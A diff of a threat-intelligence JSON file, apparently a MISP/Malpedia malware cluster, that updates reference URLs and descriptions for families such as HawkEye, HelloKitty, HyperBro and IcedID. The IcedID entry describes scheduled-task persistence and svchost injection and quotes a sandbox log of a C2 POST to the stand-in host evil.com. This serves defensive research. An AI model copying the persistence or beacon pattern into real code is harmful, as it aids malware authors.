"https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/", - "https://www.cyberbit.com/hawkeye-malware-keylogging-technique/", + "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/", "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/", + "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md", "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html", + "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", "https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md" + "https://www.cyberbit.com/hawkeye-malware-keylogging-technique/", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html", + "http://www.secureworks.com/research/threat-profiles/gold-galleon" ], "synonyms": [ "HawkEye", @@ -25862,8 +27370,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr", - "https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1", - "http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html" + "http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html", + "https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1" ], "synonyms": [ "GO-SPORT" @@ -25884,15 +27392,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d2c1a439-585a-48bc-8176-c0c46dfac270", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "af8df5d7-cd8c-41ea-b9ec-b69ab7811e2d", "value": "HDRoot" }, @@ -25901,11 +27400,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine", - "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip", "https://cert.gov.ua/article/38097", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine" ], "synonyms": [], "type": [] @@ -25923,15 +27422,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7c05c816-481f-499e-9545-d48b635dc2eb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9af26655-cfba-4e02-bd10-ad1a494e0b5f", "value": "Helauto" }, @@ -25940,38 +27430,42 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellobot", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt" + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html" ], "synonyms": [], "type": [] }, "uuid": "64cecfd4-96fd-42a3-8537-fc0e041271a2", - "value": "HelloBot" + "value": "HelloBot (Windows)" }, { - "description": "", + "description": "Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", - "https://www.ic3.gov/Media/News/2021/211029.pdf", - "https://twitter.com/fwosar/status/1359167108727332868", - "https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/", - "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", - "https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks", + "https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html", "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://twitter.com/fwosar/status/1359167108727332868", + "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", + "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", + "https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7", + "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.ic3.gov/Media/News/2021/211029.pdf", + "https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/", + "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", + "https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/", "https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html", - "https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/" + "https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/", + "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/" ], "synonyms": [ "KittyCrypt" @@ -25986,12 +27480,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth", - "https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability", - "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", + "https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability", + "https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], @@ -26032,9 +27526,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor", "https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf" ], "synonyms": [], "type": [] @@ -26047,16 +27541,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html", - "https://www.youtube.com/watch?v=9nuo-AGg4p4", - "https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", "https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html", + "https://www.youtube.com/watch?v=9nuo-AGg4p4", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", - 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"https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/", + "https://attack.mitre.org/groups/G0026", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/", "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", - "https://attack.mitre.org/groups/G0026" + "https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/", + "https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" ], "synonyms": [ "HttpDump" ], "type": [] }, - "related": [ - { - "dest-uuid": "08e2c9ef-aa62-429f-a6e5-e901ff6883cd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "79f93d04-f6c8-4705-9395-7f575a61e82f", "value": "HttpBrowser" }, @@ -26729,9 +28223,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper", - "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf", "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf" + "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787" ], "synonyms": [ "httpdr0pper" @@ -26760,9 +28254,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader", - "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf" + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html" ], "synonyms": [], "type": [] @@ -26796,6 +28290,19 @@ "uuid": "40157734-eb33-4187-bcc8-2cd168db6fda", "value": "Hupigon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader", + "https://twitter.com/SethKingHi/status/1612377098777133057" + ], + "synonyms": [], + "type": [] + }, + "uuid": "06649edb-d078-4403-a628-6295d1bc4ad8", + "value": "HuskLoader" + }, { "description": "", "meta": { @@ -26831,45 +28338,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", - "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", - "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", - "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", - "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", - "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt", "https://securelist.com/luckymouse-hits-national-data-center/86083/", + "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", + "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", + "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", + "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://www.intrinsec.com/apt27-analysis/", + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" + "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e1bfe1d9-190c-4cf4-aec8-a8f2c41c7d8b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b7f1abd3-870b-42ca-9bd1-5931126c68d5", "value": "HyperBro" }, @@ -26891,17 +28390,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", - "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://norfolkinfosec.com/emissary-panda-dll-backdoor/" + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://norfolkinfosec.com/emissary-panda-dll-backdoor/", + "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://twitter.com/ESETresearch/status/1594937054303236096", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" ], "synonyms": [ "FOCUSFJORD", @@ -26911,151 +28412,209 @@ "type": [] }, "uuid": "84f43641-77bc-4dcb-a104-150e8574da22", - "value": "HyperSSL" + "value": "HyperSSL (Windows)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat", + "https://medium.com/@DCSO_CyTec/hz-rat-goes-china-506854c5f2e2" + ], + "synonyms": [], + "type": [] + }, + "uuid": "eaaebc38-73d8-48b7-9927-2d2523870795", + "value": "HZ RAT" + }, + { + "description": "Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus", + "https://twitter.com/struppigel/status/1566685309093511170" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f1225ba-a636-488b-a288-ab777708a205", + "value": "Icarus" }, { "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - "https://twitter.com/felixw3000/status/1521816045769662468", - "https://malwation.com/icedid-malware-technical-analysis-report/", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://tccontre.blogspot.com/2021/01/", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", - "https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/", - "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan", - "https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/", - "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", - "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", - "https://blog.minerva-labs.com/icedid-maas", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://netresec.com/?b=214d7ff", - "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", - 